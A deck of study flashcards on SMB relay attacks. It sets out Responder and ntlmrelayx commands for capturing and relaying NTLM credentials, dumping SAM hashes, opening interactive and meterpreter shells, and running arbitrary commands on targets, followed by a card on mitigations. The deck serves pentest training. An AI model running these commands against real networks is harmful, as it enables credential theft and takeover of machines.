SMB Relay Flashcards

1
Q

What is SMB relay ?
What are the requirements ?

A

Instead of cracking hashes gathered with Responder, relay thise hashes to specific machines and potentially get access

Requirements:
1. SMB signing must be disabled on the target
2. Relayed user credentials must be admin on the target machine

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
2
Q

How set up SMB relay attack ?

A
  1. Edit /etc/responder/Responder.conf to set SMB server and HTTP server Off
  2. Run responder: python Responder.py -I tun0 -rdwv
  3. Set up your relay: python ntlmrelayx.py -tf targets.txt -smb2support
  4. An event occurs
  5. Get SAM hashes of local users of the targets
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
3
Q

Find targets that has SMB signin desactivated and exploit it

A
  1. nmap –script=smb2-security-mode.nse -p445 CIDR_Network
  2. Take the list of all host that enable SMB signing but not required
  3. Run the relay attack
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
4
Q

Get interractive shell with SMB relay attacks

A
  1. Run responder with SMB and HTTP server off
  2. Run ntlmrelayx.py -tf targets.txt -i
  3. Connect local session opened: nc 127.0.0.1 11000
  4. shares
    use C$
    use ADMIN$
    ls
    You got all control on the machine
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
5
Q

Get interractive meterpreter shell with SMB relay attacks

A

ntlmrelayx.py -tf targets.txt -smb2support -e executableName.exe

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
6
Q

Get running command with SMB relay attacks

A

ntlmrelayx.py -tf targets.txt -smb2support -c “commandToRun”

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
7
Q

Mitigations SMB relay attack

A
  1. Enable signing on all devices
    - Pro: completely stop this attacks
    - Con : Can cause performance issue with file copise
  2. Disable NTLM authentification on network
    - Pro: Completely stop the attack
    - Con: If kerberos stop working, Windows defautls back to NTLM
  3. Account tiering:
    - Pro: Limits domain admin to specific tasks
    - Con Enforcing the policy may be difficult
  4. Local admin restriction
    - Pro: Can prevent a lot of lateral movement
    - Con: Potentiel increase in the amount of server desk tickets
How well did you know this?
1
Not at all
2
3
4
5
Perfectly